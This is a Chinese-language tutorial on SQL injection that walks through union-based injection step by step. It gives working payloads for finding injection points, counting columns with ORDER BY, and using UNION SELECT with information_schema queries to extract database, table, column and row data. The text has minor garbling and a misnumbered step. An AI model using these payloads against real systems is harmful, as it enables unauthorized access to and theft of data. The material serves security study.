SQL注入定义
SQL是操作数据库数据的结构化查询语言,网页的应用数据和后台数据库中的数据进行交互时会采用SQL。SQL注入是指将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。当Web应用程序的开发人员对用户所输入的数据不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取数据库的信息以及提权,此时称发生了SQL注入攻击。
数据库基本操作:
SQL WHERE语句:select *from 表名 where 查询的内容(例如[id=name])
SQL OR AND语句:
如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录。
ORDER BY语句:关键字对于结果集进行排序。
SQL 联合注入:
在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位
联合注入的过程
1、判断注入点
2、判断是整型还是字符型
3、判断查询列数
4、判断显示位
5、获取所有数据库名
6、获取数据库所有表名
7、获取字段名
8、获取字段中的数据
一、判断注入点
我们在可能存在SQL注入变量的后边添加以下payload:
and 1=1 / and 1=2 回显页面不同(整形判断)
单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断)
\ (转义符)
-1/+1 回显下一个或上一个页面(整型判断)
注:加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b
判断是整数型注入还是字符型注入:
输入and 1=1和and 1=2后发现页面没有变化,判断不是整型注入
输入' and 1=1 %23和 ' and 1=2%23后发现页面变化,判断为字符注入
联合注入基本操作:
1,注入点判断:/?id=1 and 1=1
2,判断闭合方式:/?id=1' {undefined' ,'), ","),), )).} 注释符:--+ # -- (空格)
3,猜字段数:/?id=1 order by 数字
4,判断显示位:/?id=-1 union select 1,2,3,4,······
5,根据页面回显位置插入要查询语句:/?id=-1 union select database(),2,user(),4,······
1,(select group_concat(schema_name)from information_schema.schemata),3,4--+
7,获取表名:/?id=-1' union select
1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4--+
8,获取列名:/?id=1' union select
1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘表名'),3,4--+
9,获取数据:/?id=1' union select
1,(select group_concat(`列名1`,`列名2`) from 库名.表名),3,4--+